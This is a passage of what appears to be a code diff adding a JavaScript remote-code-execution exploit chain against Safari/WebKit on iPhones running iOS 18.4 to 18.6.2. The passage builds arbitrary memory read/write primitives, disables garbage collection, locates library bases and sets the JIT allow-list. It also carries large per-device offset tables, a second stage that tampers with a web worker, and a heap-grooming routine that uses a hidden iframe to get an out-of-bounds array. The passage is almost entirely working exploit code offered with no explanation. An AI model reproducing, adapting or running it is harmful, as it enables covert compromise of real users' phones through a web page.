scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + + write64(off_addr, off_val); + } + } + + let read64_biguint64arr = new BigUint64Array(4); + change_scribble[1] = addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + let read64_str = '\u4444'.repeat(0x10); + [][read64_str]; + change_scribble[1] = addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + + function read64(addr) { + read64_biguint64arr[1] = addr; + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n + | BigInt(read64_str.charCodeAt(2)) << 32n + | BigInt(read64_str.charCodeAt(3)) << 48n); + } + + function read32(addr) { + read64_biguint64arr[1] = addr; + + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n); + } + this.read32 = read32; + this.read64 = read64; + this.write64 = write64; + // Disable Worklet GC + const vm = read64(read64(addrof(globalThis).add(0x10n)).add(0x38n)); + + const heap = vm.add(0xc0n); + const isSafeToCollect = heap.add(0x241n); + write64(isSafeToCollect, 0n); + + const executable = read64(addrof(parseFloat) + 0x18n); + globalFuncParseFloat = read64(executable + 0x28n).noPAC(); + const jsc_base = (function() { + let jsc_base = globalFuncParseFloat & ~0xfffn; + + while (1) { + read64_biguint64arr[1] = jsc_base; + if (read64_str.charCodeAt(0) == 0xfacf && read64_str.charCodeAt(1) == 0xfeed) { + return jsc_base; + } + jsc_base -= 0x1000n; + } + })(); + print("jsc_base: " + jsc_base.hex()); + function parse_adrp(addr) { + const x = Number(read32(addr)); + const immhi = x >> 5 & (1 << 23 - 5 + 1) - 1; + const immlo = x >> 29 & 3; + const imm = immhi << 14 | immlo << 12; + return imm + Math.floor(Number(addr) / 0x1000) * 0x1000; + } + function parse_add(addr) { + const insn = Number(read32(addr)); + const off = insn >> 10 & (1 << 12) - 1; + return off; + } + function parse_adrp_add(addr, is_ldrb = false) { + let res = parse_adrp(addr); + let add = parse_add(addr + 4n); + return res + add; + } + const versions = ['b8', '731', 'b9']; +const pthread_create_auth_stubs_offset = { +'18,4': 0x177d640n, +'18,4,1': 0x177d640n, +'18,5': 0x18ccf30n, +'18,6': 0x17a4830n, +'18,6,1': 0x17a4830n, +'18,6,2': 0x17a4830n +}; +const pthread_create_offset = { +'18,4': 0x5864n, +'18,4,1': 0x5864n, +'18,5': 0x6988n, +'18,6': 0x6988n, +'18,6,1': 0x6988n, +'18,6,2': 0x6988n +}; +const linkedit_to_device = { +'18,4': { + [0x27075c000n]: "iPhone11,2_4_6_22E240", + [0x27074c000n]: "iPhone11,8_22E240", + [0x27085c000n]: "iPhone12,1_22E240", + [0x27085c000n]: "iPhone12,3_5_22E240", + [0x270794000n]: "iPhone12,8_22E240", + [0x270ad0000n]: "iPhone13,1_22E240", + [0x2714f8000n]: "iPhone13,2_3_22E240", + [0x2714f8000n]: "iPhone13,4_22E240", + [0x2718dc000n]: "iPhone14,2_22E240", + [0x2718dc000n]: "iPhone14,3_22E240", + [0x270ea4000n]: "iPhone14,4_22E240", + [0x270ea4000n]: "iPhone14,5_22E240", + [0x270e50000n]: "iPhone14,6_22E240", + [0x2712b4000n]: "iPhone14,7_22E240", + [0x2712b4000n]: "iPhone14,8_22E240", + [0x272058000n]: "iPhone15,2_22E240", + [0x272058000n]: "iPhone15,3_22E240", + [0x271680000n]: "iPhone15,4_22E240", + [0x271680000n]: "iPhone15,5_22E240", + [0x272594000n]: "iPhone16,1_22E240", + [0x272594000n]: "iPhone16,2_22E240", + [0x271e5c000n]: "iPhone17,1_22E240", + [0x271e5c000n]: "iPhone17,2_22E240", + [0x2717f0000n]: "iPhone17,3_22E240", + [0x2717f0000n]: "iPhone17,4_22E240", + [0x271530000n]: "iPhone17,5_22E240" +}, +'18,4,1': { + [0x27075c000n]: "iPhone11,2_4_6_22E252", + [0x27074c000n]: "iPhone11,8_22E252", + [0x27085c000n]: "iPhone12,1_22E252", + [0x27085c000n]: "iPhone12,3_5_22E252", + [0x270790000n]: "iPhone12,8_22E252", + [0x270ad0000n]: "iPhone13,1_22E252", + [0x2714f8000n]: "iPhone13,2_3_22E252", + [0x2714f8000n]: "iPhone13,4_22E252", + [0x2718dc000n]: "iPhone14,2_22E252", + [0x2718dc000n]: "iPhone14,3_22E252", + [0x270ea4000n]: "iPhone14,4_22E252", + [0x270ea4000n]: "iPhone14,5_22E252", + [0x270e50000n]: "iPhone14,6_22E252", + [0x2712b4000n]: "iPhone14,7_22E252", + [0x2712b4000n]: "iPhone14,8_22E252", + [0x272058000n]: "iPhone15,2_22E252", + [0x272058000n]: "iPhone15,3_22E252", + [0x271680000n]: "iPhone15,4_22E252", + [0x271680000n]: "iPhone15,5_22E252", + [0x272594000n]: "iPhone16,1_22E252", + [0x272594000n]: "iPhone16,2_22E252", + [0x271e5c000n]: "iPhone17,1_22E252", + [0x271e5c000n]: "iPhone17,2_22E252", + [0x2717f0000n]: "iPhone17,3_22E252", + [0x2717f0000n]: "iPhone17,4_22E252", + [0x271530000n]: "iPhone17,5_22E252" +}, +'18,5': { + [0x27170c000n]: "iPhone11,2_4_6_22F76", + [0x271704000n]: "iPhone11,8_22F76", + [0x271810000n]: "iPhone12,1_22F76", + [0x271810000n]: "iPhone12,3_5_22F76", + [0x27173c000n]: "iPhone12,8_22F76", + [0x271a88000n]: "iPhone13,1_22F76", + [0x2724b4000n]: "iPhone13,2_3_22F76", + [0x2724b4000n]: "iPhone13,4_22F76", + [0x27288c000n]: "iPhone14,2_22F76", + [0x27288c000n]: "iPhone14,3_22F76", + [0x271e5c000n]: "iPhone14,4_22F76", + [0x271e5c000n]: "iPhone14,5_22F76", + [0x271df8000n]: "iPhone14,6_22F76", + [0x272264000n]: "iPhone14,7_22F76", + [0x272264000n]: "iPhone14,8_22F76", + [0x273014000n]: "iPhone15,2_22F76", + [0x273014000n]: "iPhone15,3_22F76", + [0x272634000n]: "iPhone15,4_22F76", + [0x272634000n]: "iPhone15,5_22F76", + [0x27353c000n]: "iPhone16,1_22F76", + [0x27353c000n]: "iPhone16,2_22F76", + [0x272e04000n]: "iPhone17,1_22F76", + [0x272e04000n]: "iPhone17,2_22F76", + [0x2727a0000n]: "iPhone17,3_22F76", + [0x2727a0000n]: "iPhone17,4_22F76", + [0x2724d8000n]: "iPhone17,5_22F76" +}, +'18,6': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: "iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86" +}, +'18,6,1': { + [0x27101c000n]: "iPhone11,2_4_6_22G90", + [0x271004000n]: "iPhone11,8_22G90", + [0x271118000n]: "iPhone12,1_22G90", + [0x271118000n]: "iPhone12,3_5_22G90", + [0x271050000n]: "iPhone12,8_22G90", + [0x27138c000n]: "iPhone13,1_22G90", + [0x271dbc000n]: "iPhone13,2_3_22G90", + [0x271dbc000n]: "iPhone13,4_22G90", + [0x27218c000n]: "iPhone14,2_22G90", + [0x27218c000n]: "iPhone14,3_22G90", + [0x271760000n]: "iPhone14,4_22G90", + [0x271760000n]: "iPhone14,5_22G90", + [0x271708000n]: "iPhone14,6_22G90", + [0x271b6c000n]: "iPhone14,7_22G90", + [0x271b6c000n]: "iPhone14,8_22G90", + [0x272914000n]: "iPhone15,2_22G90", + [0x272914000n]: "iPhone15,3_22G90", + [0x271f38000n]: "iPhone15,4_22G90", + [0x271f38000n]: "iPhone15,5_22G90", + [0x272e4c000n]: "iPhone16,1_22G90", + [0x272e4c000n]: "iPhone16,2_22G90", + [0x27270c000n]: "iPhone17,1_22G90", + [0x27270c000n]: "iPhone17,2_22G90", + [0x2720a4000n]: "iPhone17,3_22G90", + [0x2720a4000n]: "iPhone17,4_22G90", + [0x271de4000n]: "iPhone17,5_22G90" +}, +'18,6,2': { + [0x27101c000n]: "iPhone11,2_4_6_22G100", + [0x271004000n]: "iPhone11,8_22G100", + [0x271118000n]: "iPhone12,1_22G100", + [0x271118000n]: "iPhone12,3_5_22G100", + [0x271050000n]: "iPhone12,8_22G100", + [0x27138c000n]: "iPhone13,1_22G100", + [0x271dbc000n]: "iPhone13,2_3_22G100", + [0x271dbc000n]: "iPhone13,4_22G100", + [0x27218c000n]: "iPhone14,2_22G100", + [0x27218c000n]: "iPhone14,3_22G100", + [0x271760000n]: "iPhone14,4_22G100", + [0x271760000n]: "iPhone14,5_22G100", + [0x271708000n]: "iPhone14,6_22G100", + [0x271b6c000n]: "iPhone14,7_22G100", + [0x271b6c000n]: "iPhone14,8_22G100", + [0x272914000n]: "iPhone15,2_22G100", + [0x272914000n]: "iPhone15,3_22G100", + [0x271f38000n]: "iPhone15,4_22G100", + [0x271f38000n]: "iPhone15,5_22G100", + [0x272e4c000n]: "iPhone16,1_22G100", + [0x272e4c000n]: "iPhone16,2_22G100", + [0x27270c000n]: "iPhone17,1_22G100", + [0x27270c000n]: "iPhone17,2_22G100", + [0x2720a4000n]: "iPhone17,3_22G100", + [0x2720a4000n]: "iPhone17,4_22G100", + [0x271de4000n]: "iPhone17,5_22G100" +} +}; +const device_chipset = { +"iPhone11,2_4_6_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E240": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E252": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,2_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,3_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,4_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,5_22F76": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G86": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G90": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G100": "6149d995753968891870832e3fec9195", +"iPhone13,4_22B91": "43ba9900ff2fc7d9d32072540b2cab12", +}; + + print(`ios_version: ${ios_version}`); + if (ios_version == '18,1,1') { + device_model = "iPhone13,4_22B91"; + print("device_model (18.1.1 direct): " + device_model); + } else { + const pthread_create_got = BigInt(parse_adrp_add(jsc_base + pthread_create_auth_stubs_offset[ios_version])); + print(`pthread_create_got: ${pthread_create_got.hex()}`); + const pthread_create = read64(pthread_create_got).noPAC(); + print(`pthread_create: ${pthread_create.hex()}`); + const libsystem_pthread_base = pthread_create - pthread_create_offset[ios_version]; + print(`libsystem_pthread_base: ${libsystem_pthread_base.hex()}`); + const libsystem_pthread_linkedit = read64(libsystem_pthread_base + 0x600n); + print(`libsystem_pthread_linkedit: ${libsystem_pthread_linkedit.hex()}`); + device_model = linkedit_to_device[ios_version][libsystem_pthread_linkedit]; + print("device_model: " + device_model); + } + chipset = device_chipset[device_model]; + offsets = rce_offsets[device_model]; + slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat; + print(`slide: ${slide.hex()}`); + for (const key of Object.keys(offsets)) { + if (offsets[key] >= 0x100000000n) offsets[key] += slide; + } + write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); + write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); + this.stage2(); + return true; + } + + stage2() { + print("Inside stage2"); + try + { + const contexts = this.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + const contexts_length = this.read32(contexts - 4n); + + let worker; + + for (let i = 0n; i < contexts_length; ++i) { + const scriptExecutionContext = this.read64(contexts + 0x30n * i + 0x20n); + if (!scriptExecutionContext) + continue; + + const vtable = this.read64(scriptExecutionContext); + //print(`vtable: ${vtable.noPAC()}`); + if (vtable.noPAC() != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) + continue; + + const id = this.read64(scriptExecutionContext + 0x138n); + if (id > maximum_id) { + maximum_id = id; + worker = scriptExecutionContext; + } + } + + print(`worker: ${worker.hex()}`); + + const script = this.read64(worker + 0x150n); + const workerOrWorkletThread = this.read64(worker + 0x160n); + const Strong_globalScopeWrapper = this.read64(script + 0x20n); + const globalScopeWrapper = this.read64(Strong_globalScopeWrapper); + const worker_global_butterfly = this.read64(globalScopeWrapper + 8n); + print(`butterfly:${worker_global_butterfly.hex()}`); + const unboxed_arr = this.read64(worker_global_butterfly); + const boxed_arr = this.read64(worker_global_butterfly + 8n); + const butterfly = this.read64(boxed_arr + 8n); + this.write64(unboxed_arr + 8n, butterfly); + print("Finished stage2 succesfully"); + } + catch(e) + { + print("got error in stage2: " + e); + } + } + + + start() { + const victim_array_allocation_size = (0x120>>3); + const victim_array_allocations_in_page = 50; + var victim_cursor = 0; + + const egg1 = 0x5f2893ab; + const egg2 = 0x163967eb; + const victim_list_size = 4*victim_array_allocations_in_page; + + //FIXME change "victim" to "victim", they don't serve the same purpose here. + const victim_array_RO = () => {return [1.1,2.2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8];} + var victim_list = new Array(victim_list_size).fill(1.1); + + var the_oob_object = new Array(); + the_oob_object[14] = 1.1; + for(let i = 0 ; i < 12; i++){ + the_oob_object[i] = i; + } + + //var the_oob_object = the_oob_object_RO(); + //the_oob_object[0] = 1.1; // we do this allocation now so thatonly on double->withStorage we will allocate. + //we count on COW to get us the rigth array sizes + // we can probably use fill but whatever... + for (let i = 0; i < victim_list_size; i++){ + victim_list[i] = victim_array_RO(); + } + + for (let i = 0; i < 2; i++){ + for (let j = 0 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = i; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + } + + for(let j = 0; j < 5; j++){ + victim_list[victim_cursor][0] = 3; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + + the_oob_object[1001] = 1.1; + the_oob_object.length = 31; + delete the_oob_object[0]; + for(let i = 1; i < 31; i++){ + the_oob_object[i] = 1.1; + } //object should have 0x1e(30) items loaded, we want to overwrite +0x25(37) + const oob_object_target_length = 32; + the_oob_object.length = oob_object_target_length; + const holes_to_add = (oob_object_target_length - 30); + + for (let j = 6 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = 3; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + + for (let i = 0; i < 1; i++){ + for (let j = 0 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = i; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + } + + let iframe_elem = document.createElement('iframe'); + iframe_elem.style.visibility = 'hidden'; + let otherGlobalObject = document.body.appendChild(iframe_elem).contentWindow; + let z = new otherGlobalObject.Array(1); + + otherGlobalObject.dopush_contigious = (x) => { + x.push(1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6); + } + + otherGlobalObject.dontjitme_contigious = () => { + for (let i = 0; i < 10000; i++){ + let regexp = new otherGlobalObject.RegExp('a', 'g'); + let a = new otherGlobalObject.String('a'); + let magic = a.match(regexp); + otherGlobalObject.dopush_contigious(magic); + } + } + + const dopush_float = (x) => { + x.push(1.1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + } + + const dontjitme_float = () => { + for (let i = 0; i < 10000; i++){ + let arr = new Array(1); + arr[0] = 1.1; + dopush_float(arr); + } + } + + let oob_object = new Array(1); + oob_object[0] = 1.1; + oob_object[1001] = 1.1; + oob_object.length = 4; + let testvar = undefined; + otherGlobalObject.Object.defineProperty(otherGlobalObject.Array.prototype, 128662, {set(v) {for(let i = 0; i < holes_to_add; i++){ the_oob_object[0] = v;} return 42;}}); null; + + let counter = 0; + otherGlobalObject.Object.defineProperty(otherGlobalObject.Array.prototype, 128661, {set() {counter++; if (counter == 1) { doDoubleMagic();} return 42;}}); null; + + const doDoubleMagic = () => { + let doublemagic = new Array(1); + doublemagic[0] = 1.1; + dopush_float(doublemagic); + } + + otherGlobalObject.domagic = () => { + let regexp = new otherGlobalObject.RegExp('a', 'g'); + let a = new otherGlobalObject.String('a'); + let newmagic = a.match(regexp); + let magic_indexes = new otherGlobalObject.Array(498, 1003, 2008, 4018, 8038, 16078, 32158, 64318, 128636); + for (let i of magic_indexes) { + newmagic[i] = 1; + } + otherGlobalObject.dopush_contigious(newmagic); + return newmagic; + } + + otherGlobalObject.dontjitme_contigious(); + dontjitme_float(); + + return sleep(wait_for_jit_compilation_ms).then(() => { + + let debug_1 = otherGlobalObject.domagic(); null; + + the_oob_object.splice(30,0,1,2,3,4,5,6,7); + + //now we should have a victim with a nice length. + + var oob_array_idx = undefined; + var overlap_array_idx = undefined; + var overlap_idx_in_oob_array = undefined; + var oob_array = undefined; + + + const check_victim = () => { + for (let j = 0; j < victim_cursor; j++){ + if (victim_list[j].length > (victim_array_allocation_size*10)){ + oob_array_idx = j; + break; + } + } + if(oob_array_idx === undefined){ + return false; + } + oob_array = victim_list[oob_array_idx]; + for (let i = 1; i < victim_array_allocation_size*10; i++){ + if(oob_array[i+1] === egg1 && oob_array[i+2] === egg2){ + overlap_array_idx = oob_array[i+3]; + overlap_idx_in_oob_array = i-1; + break; + } + } + if(overlap_array_idx === undefined){ + return false; + } + this.oob_array = oob_array; + this.overlap_idx_in_oob_array = overlap_idx_in_oob_array + 1; + this.overlap_array = victim_list[overlap_array_idx]; + return true; + } + + let got_victim = check_victim(); + if(!got_victim) + { + print("Failed RCE"); + return false; + } + 